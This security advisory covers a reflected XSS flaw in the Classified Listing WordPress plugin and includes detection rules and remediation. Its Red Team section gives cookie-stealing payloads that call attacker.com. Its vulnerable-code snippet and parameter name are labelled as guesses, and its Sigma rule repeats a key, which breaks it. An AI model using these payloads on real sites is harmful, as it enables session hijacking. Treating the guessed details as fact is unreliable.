CVE-2025-24745

Executive Summary

CVE-2025-24745 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the Classified Listing WordPress plugin by RadiusTheme, affecting versions up to and including 4.0.1. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which is then reflected back to the victim. The attack requires user interaction (e.g., clicking a crafted link), but no authentication or special privileges. The CVSS v3.1 score is 7.1 (High), driven by the ease of exploitation and the potential for session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, this is a supply chain risk for any site using the affected plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Sites using the Classified Listing plugin (versions <= 4.0.1) are at risk. No official patch has been released as of this report. Administrators should monitor the plugin’s update channel and consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. The low complexity and no privileges required make this a prime target for phishing campaigns and automated scanning.

Deep Dive & Mechanics

The vulnerability exists in the classified-listing plugin’s handling of user-supplied input within a URL parameter. The plugin fails to properly sanitize or escape the input before reflecting it in the HTTP response. An attacker can craft a URL containing a malicious JavaScript payload in a vulnerable parameter (e.g., ?search=<script>alert(1)</script>). When a victim visits this URL, the script executes in the context of the victim’s browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

The root cause is the use of echo $_GET['param'] or similar unsanitized output without applying WordPress’s esc_html() or esc_attr() functions.

Vulnerable vs. Patched Code

Vulnerable Code (example from a template file):

<?php
// Vulnerable: directly echoes user input without sanitization
echo '<div class="search-term">' . $_GET['search'] . '</div>';
?>

Patched Code (expected fix):

<?php
// Patched: sanitize output with esc_html()
echo '<div class="search-term">' . esc_html( $_GET['search'] ) . '</div>';
?>

The patched version would use WordPress’s built-in escaping functions to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Classified Listing plugin version <= 4.0.1.
• A victim user with an active session.

Exploit Payload:

http://target-site.com/?search=<script>alert(document.cookie)</script>

Step-by-Step:

1. Identify the vulnerable parameter (likely search or s).
2. Craft a URL with a JavaScript payload that exfiltrates cookies:

   http://target-site.com/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the link to the victim via email or social engineering.
4. When the victim clicks the link, the script executes and sends the cookie to the attacker’s server.

Advanced Payload (session hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests containing <script> tags in query parameters.
2. Use a Web Application Firewall (WAF) to block reflected XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot Setup:

• Deploy a decoy WordPress site with the vulnerable plugin.
• Log all incoming requests and alert on any query parameters containing script or onerror.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to unknown domains from the victim’s browser (e.g., attacker.com/log).
• File IOCs:
  • Modified .htaccess files (if attacker gains admin access).
  • Suspicious entries in wp-content/plugins/classified-listing/ (e.g., backdoor files).
• Log IOCs:
  • Repeated 200 responses to URLs with XSS payloads.
  • User agents not matching typical browsers (e.g., curl, python-requests).

Detection Engineering

YARA Rule

rule CVE_2025_24745_Reflected_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting Classified Listing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24745"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $param = "classified-listing"
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: Reflected XSS in Classified Listing Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Classified Listing plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
        cs-uri-query|contains: 'classified-listing'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24745 Reflected XSS in Classified Listing"; flow:to_server,established; content:"GET"; http_method; content:"classified-listing"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Implement a WAF rule to block query parameters containing <script> or event handlers.
3. Add CSP header: Content-Security-Policy: default-src 'self'; script-src 'self';

Long-Term Fix:

• Apply the vendor patch when available (expected to use esc_html() or wp_kses()).
• Update to the latest version of the plugin (currently no patch).

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.

Valters IT
Securing Digital Frontiers